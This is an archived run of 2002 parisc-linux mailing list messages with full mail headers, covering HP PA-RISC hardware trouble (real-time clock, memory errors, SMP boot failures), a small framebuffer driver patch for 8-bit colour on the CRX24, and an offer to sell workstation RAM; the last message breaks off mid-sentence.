Xref: news.gmane.org gmane.linux.ports.parisc:16255

Hi,
i got this problem solved by myself. I read out DATE in BOOT ADMIN Console
and it gave me an error (with a dump a of many zeros). Then I set a new date
in PDC and now it works just fine. So somehow the RTC was zeroed out.

Greetings Yves...

From: "Michael S. Zick" <mszick@goquest.com>
Subject: Re: [parisc-linux] RTC and FB on 735/125


> On Sunday 22 September 2002 01:30 pm, Yves Bodack wrote:
> > 1st problem I have is the Real Time Clock. On boot I get the following
> > messages:
> >
> > System Time was Thu Jan 1 00:00:10 UTC 1970
> > Setting the System Clock using the Hardware Clock as reference...
> > RTC_RD_TIME: Bad address
> > ioctl() to /dev/rtc read the time failed.
> > System Clock set. System local time is now Thu Jan 1 00:00:13 UTC 1970.
> >
> Perhaps it is really a good address and a bad clock battery.
> Mike



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Mon, 23 Sep 2002 22:18:08 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <200209232217.45577.deller@gmx.de>
References: <03ab01c26266$2416dea0$1f96078d@acid> <003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621758 14660 80.91.229.3 (22 Nov 2014 02:02:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 14:19:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D7CA84829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 14:19:46 -0600 (MDT)
Original-Received: (qmail 19126 invoked by uid 0); 23 Sep 2002 20:19:43 -0000
Original-Received: from pd9040666.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.6.102)
  by mail.gmx.net (mp003-rz3) with SMTP; 23 Sep 2002 20:19:43 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <1032806776.2868.19.camel@romano>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16256

On Monday 23 September 2002 20:46, Steve Pacenka wrote:
> The CRX24 framebuffer also works at 8 bit color, a bit faster.  A minor
> patch to one file in the kernel is needed (duplicating a few lines that
> apply to another card's depth selection in the same file) and a kernel
> boot argument is needed to (optionally) cause the kernel to start video
> in 8 bit mode instead of the default 32.
>
> The hard drive I patched this on is recycled into another type of box,
> but Helge Deller can guess what's needed just from this description.

Hi Steve,

I don't have a CRX24 and can't test anything. 
If you could post a patch here I could add it to the kernel.

Greetings,
Helge




From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: 23 Sep 2002 17:04:16 -0400
Lines: 75
Approved: news@gmane.org
Message-ID: <1032815056.3209.115.camel@romano>
References: <03ab01c26266$2416dea0$1f96078d@acid>
	<003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano> 
	<200209232217.45577.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621758 14665 80.91.229.3 (22 Nov 2014 02:02:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 15:05:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C5474829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 15:05:42 -0600 (MDT)
Original-Received: from romano by romano with local (Exim 3.35 #1 (Debian))
	id 17taNN-0000uC-00; Mon, 23 Sep 2002 17:04:17 -0400
In-Reply-To: <200209232217.45577.deller@gmx.de>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16257

On Mon, 2002-09-23 at 16:18, Helge Deller wrote:
> On Monday 23 September 2002 20:46, Steve Pacenka wrote:
> > The CRX24 framebuffer also works at 8 bit color, a bit faster.  A minor
> > patch to one file in the kernel is needed (duplicating a few lines that
> > apply to another card's depth selection in the same file) and a kernel
> > boot argument is needed to (optionally) cause the kernel to start video
> > in 8 bit mode instead of the default 32.
> >
> > The hard drive I patched this on is recycled into another type of box,
> > but Helge Deller can guess what's needed just from this description.
> 
> Hi Steve,
> 
> I don't have a CRX24 and can't test anything. 
> If you could post a patch here I could add it to the kernel.

Good day Helge,

I can't test easily either, or generate formal patches, since my 735
w/CRX24 is in a display at our computer recycle shop.


>From memory, after consulting CVS today --

1. In drivers/video/sti/stifb.c

Inside function
   int __init
   stifb_init_fb(struct sti_struct *sti, int force_bpp)


old:

	case S9000_ID_A1439A:	/* CRX24/A1439A */
		bpp = 32;
		break;


new (insert three lines below the case):
	case S9000_ID_A1439A:	/* CRX24/A1439A */
		if (force_bpp == 8 || force_bpp == 32)
			bpp = force_bpp;
		else
			bpp = 32;
		break;


This is copied from HCRX initialization in the same switch.


2. To activate include in the kernel boot arguments (PALO or interrupt
boot with ESC):

   video=stifb:bpp:8

This is also recognized

   video=stifb:bpp:32

but that is the default.


3. To use with X, set the DefaultDepth to 8 in XF86Config-4 (leaving
fbbpp at 32), or

   startx -- -depth 8

Requires a depth 8 subsection in the monitor size section.


Perhaps Yves can test?

-- cheers, SP



From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Mon, 23 Sep 2002 23:23:10 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <200209232323.10789.deller@gmx.de>
References: <03ab01c26266$2416dea0$1f96078d@acid> <200209232217.45577.deller@gmx.de> <1032815056.3209.115.camel@romano>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621758 14668 80.91.229.3 (22 Nov 2014 02:02:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 15:25:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 887B8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 15:25:09 -0600 (MDT)
Original-Received: (qmail 5832 invoked by uid 0); 23 Sep 2002 21:25:01 -0000
Original-Received: from pd90407fd.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.253)
  by mail.gmx.net (mp006-rz3) with SMTP; 23 Sep 2002 21:25:01 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <1032815056.3209.115.camel@romano>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16258

On Monday 23 September 2002 23:04, Steve Pacenka wrote:
> On Mon, 2002-09-23 at 16:18, Helge Deller wrote:
> > On Monday 23 September 2002 20:46, Steve Pacenka wrote:
> > > The CRX24 framebuffer also works at 8 bit color, a bit faster.  A minor
> > > patch to one file in the kernel is needed (duplicating a few lines that
> > > apply to another card's depth selection in the same file) and a kernel
> > > boot argument is needed to (optionally) cause the kernel to start video
> > > in 8 bit mode instead of the default 32.
> > >
> > > The hard drive I patched this on is recycled into another type of box,
> > > but Helge Deller can guess what's needed just from this description.
> >
> > Hi Steve,
> >
> > I don't have a CRX24 and can't test anything.
> > If you could post a patch here I could add it to the kernel.
>
> Good day Helge,
>
> I can't test easily either, or generate formal patches, since my 735
> w/CRX24 is in a display at our computer recycle shop.
>
>
> From memory, after consulting CVS today --
>
> 1. In drivers/video/sti/stifb.c
>
> Inside function
>    int __init
>    stifb_init_fb(struct sti_struct *sti, int force_bpp)
>
>
> old:
>
> 	case S9000_ID_A1439A:	/* CRX24/A1439A */
> 		bpp = 32;
> 		break;
>
>
> new (insert three lines below the case):
> 	case S9000_ID_A1439A:	/* CRX24/A1439A */
> 		if (force_bpp == 8 || force_bpp == 32)
> 			bpp = force_bpp;
> 		else
> 			bpp = 32;
> 		break;
>
>
> This is copied from HCRX initialization in the same switch.
>
>
> 2. To activate include in the kernel boot arguments (PALO or interrupt
> boot with ESC):
>
>    video=stifb:bpp:8
>
> This is also recognized
>
>    video=stifb:bpp:32
>
> but that is the default.
>
>
> 3. To use with X, set the DefaultDepth to 8 in XF86Config-4 (leaving
> fbbpp at 32), or
>
>    startx -- -depth 8
>
> Requires a depth 8 subsection in the monitor size section.
>
>
> Perhaps Yves can test?
>
> -- cheers, SP


Thanks Steve,

I've applied this patch to 2.4.19-pa20.

Greetings,
Helge



From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <chw@ffis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 715/80
Date: Tue, 24 Sep 2002 00:05:41 +0200
Organization: private
Lines: 35
Approved: news@gmane.org
Message-ID: <20020923220541.GA962@familie-weerts.de>
References: <20020922211630.GB1936@familie-weerts.de> <BD69FB20-CEA3-11D6-827A-000393581E44@telocity.com>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621758 14669 80.91.229.3 (22 Nov 2014 02:02:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <caslivkoff@telocity.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 16:06:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.ewetel.de (mail1.ewetel.de [212.6.122.14])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD2A14829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 16:05:59 -0600 (MDT)
Original-Received: from murphy.familie-weerts.de (dialin-76204.ewetel.net [212.6.76.204])
	by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id g8NM5rhc025632;
	Tue, 24 Sep 2002 00:05:54 +0200 (MEST)
Original-Received: from cw by murphy.familie-weerts.de with local (Exim 3.35 #1 (Debian))
	id 17tbKn-0000o1-00; Tue, 24 Sep 2002 00:05:41 +0200
Content-Disposition: inline
In-Reply-To: <BD69FB20-CEA3-11D6-827A-000393581E44@telocity.com>
User-Agent: Mutt/1.3.28i
X-Url: <http://www.familie-weerts.de/>
X-Editor: Vim-601 http://www.vim.org
X-CheckCompat: OK
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16259

* Chuck Slivkoff <caslivkoff@telocity.com> [020923 05:22]:
> I would suggest that you disconnect any disks and power on the box.  
> Make sure your null-modem cable is attached to serial port "a" and no  
> keyboard is attached via the PS2/HIL adapter box. You will need to get  
> to the PCD "BOOT_ADMIN>" prompt before you can get any further. If you  
> can not get to this prompt, take note of the LED's being displayed. The  
> service manual for the 715 should help to decode the LED's.
> 
> http://h20000.www2.hp.com/bizsupport/ 
> CoreRedirect.jsp?targetPage=http%3A%2F%2Fh200002.www2.hp.com%2Fbc%2Fdocs 
> %2Fsupport%2FSupportManual%2Flpv37699%2Flpv37699.pdf
> 
> Hope this helps.
> 
It does. With the manual i decode the LED's. They say:
Memory error! Ughf, after a long period not running the
machine a matter of time i think. So i go on and cleaned the
memory-sticks and the memory-banks 0-3. But that wasn't very
helpful. Changing the sticks to serveral banks (i did it
more than an half hour) gave me also no result. Once there
was another message from the LED's - HPMC due to memory
error! Not very helpful for me.

What kind of sticks are normal or the best one? Is there a
prefered memory-bank to use? The memory in this machine was 
attached to bank 3+2 with 72-Pin NEC and Noname chips. But
both "Made in Puerto Rico" ;). I never (really) changed the
memory since the time i got the machine.

Greets,
    Christian

-- 
[X] <--- Nail here for new Monitor.


From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP problems
Date: Tue, 24 Sep 2002 09:05:41 +0300
Lines: 9
Approved: news@gmane.org
Message-ID: <20020924060541.GA27852@dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621759 14671 80.91.229.3 (22 Nov 2014 02:02:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 00:06:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1 (unknown [217.116.164.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id E44ED4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 00:06:53 -0600 (MDT)
Original-Received: by mail1 (Postfix, from userid 1000)
	id 1D0908015; Tue, 24 Sep 2002 09:05:41 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16260

Any news on the SMP trouble on PA-8200 and similar? Someone said that he
would be working on it last week. I heard some stuff about it working on
64-bit kernels, but 64-bit crashes immediately on my box, SMP or no SMP.
I would really like to get this monster doing some real work, so any
news is good news.

--
Arto Jantunen


From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems
Date: Tue, 24 Sep 2002 01:48:31 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209240141510.20374-100000@garibaldi.apptechsys.com>
References: <20020924060541.GA27852@dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621759 14675 80.91.229.3 (22 Nov 2014 02:02:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 02:48:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A3EE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 02:48:34 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 8EA9B7BC46; Tue, 24 Sep 2002 01:48:31 -0700 (PDT)
In-Reply-To: <20020924060541.GA27852@dt-link.fi>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16261

On Tue, 24 Sep 2002, Arto Jantunen wrote:

> Any news on the SMP trouble on PA-8200 and similar? Someone said that he
> would be working on it last week. I heard some stuff about it working on
> 64-bit kernels, but 64-bit crashes immediately on my box, SMP or no SMP.
> I would really like to get this monster doing some real work, so any
> news is good news.
I don't know exactly what hardware you have, but my J5k is chugging 
happily along running 2.4.19-64-smp from sid, and the only problem I have 
encountered as of yet is a lockup when starting setserial on boot.  Other 
than that, it seems to be as stable as uniproc 32-bit.  Whatever hardware 
you have, I'm willing to bet that it isn't a J5k, and any differences 
involved may complicate things, so (as always) YMMV.

Good luck...


 > > -- > Arto 
Jantunen > _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
You had mail.  Paul read it, so ask him what it said.



From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WTS: workstation ram
Date: Tue, 24 Sep 2002 21:18:27 +1200
Lines: 23
Approved: news@gmane.org
Message-ID: <3.0.2.32.20020924211827.0069032c@pop3.xtra.co.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621759 14679 80.91.229.3 (22 Nov 2014 02:02:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 03:21:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta201-rme.xtra.co.nz (mta201-rme.xtra.co.nz [210.86.15.144])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B7354829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 03:21:06 -0600 (MDT)
Original-Received: from mta1-rme.xtra.co.nz ([210.86.15.141])
          by mta201-rme.xtra.co.nz with ESMTP
          id <20020924092103.IWTC16096.mta201-rme.xtra.co.nz@mta1-rme.xtra.co.nz>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 24 Sep 2002 21:21:03 +1200
Original-Received: from oemcomputer ([219.88.65.22]) by mta1-rme.xtra.co.nz
          with SMTP
          id <20020924092102.BIAQ16938.mta1-rme.xtra.co.nz@oemcomputer>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 24 Sep 2002 21:21:02 +1200
X-Sender: ghub005@pop3.xtra.co.nz
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16262

Hi

I usually just lurk here, but I've got a bunch of HP workstation memory
left over from a recent round of upgrades and I figure that it would be
useful if people here got the first chance at it. 

I have twenty used A4994A modules. These are the 256MB, 120MHz SDRAM
modules that work in the B1000, B2000, B2600, C3000, C3600, C3650, C3700,
J5600, J6000, J6700, J7000 workstations. Please note that some of those
systems require the modules to be added in pairs.

Asking price is 75USD per module. Please email me off-list if you're
interested.

Regards,

Gavin Hubbard


P.S. Please advise me if this is inappropriate content for this forum and
I'll go back to lurking.



From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems
Date: Tue, 24 Sep 2002 14:28:30 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20020924112830.GA27877@dt-link.fi>
References: <20020924060541.GA27852@dt-link.fi> <Pine.LNX.4.44.0209240141510.20374-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621760 14685 80.91.229.3 (22 Nov 2014 02:02:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 05:29:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1 (unknown [217.116.164.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id B22E14829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 05:29:46 -0600 (MDT)
Original-Received: by mail1 (Postfix, from userid 1000)
	id 63A4E8015; Tue, 24 Sep 2002 14:28:31 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0209240141510.20374-100000@garibaldi.apptechsys.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16263

On Tue, Sep 24, 2002 at 01:48:31AM -0700, Jeremy Drake wrote:
> On Tue, 24 Sep 2002, Arto Jantunen wrote:
> 
> > Any news on the SMP trouble on PA-8200 and similar? Someone said that he
> > would be working on it last week. I heard some stuff about it working on
> > 64-bit kernels, but 64-bit crashes immediately on my box, SMP or no SMP.
> > I would really like to get this monster doing some real work, so any
> > news is good news.
> I don't know exactly what hardware you have, but my J5k is chugging 
> happily along running 2.4.19-64-smp from sid, and the only problem I have 
> encountered as of yet is a lockup when starting setserial on boot.  Other 
> than that, it seems to be as stable as uniproc 32-bit.  Whatever hardware 
> you have, I'm willing to bet that it isn't a J5k, and any differences 
> involved may complicate things, so (as always) YMMV.

I have a HP9000/D390. Dual PA-8200. It doesn't boot at all with that
kernel or any other 64-bit kernel. Some things do suggest that it should
work, but it doesn't. After the kernel branching point it starts
scrolling FLT codes on the LCD display, but doesn't report anything on
the console. I have a ser pim output taken out after rebooting the box
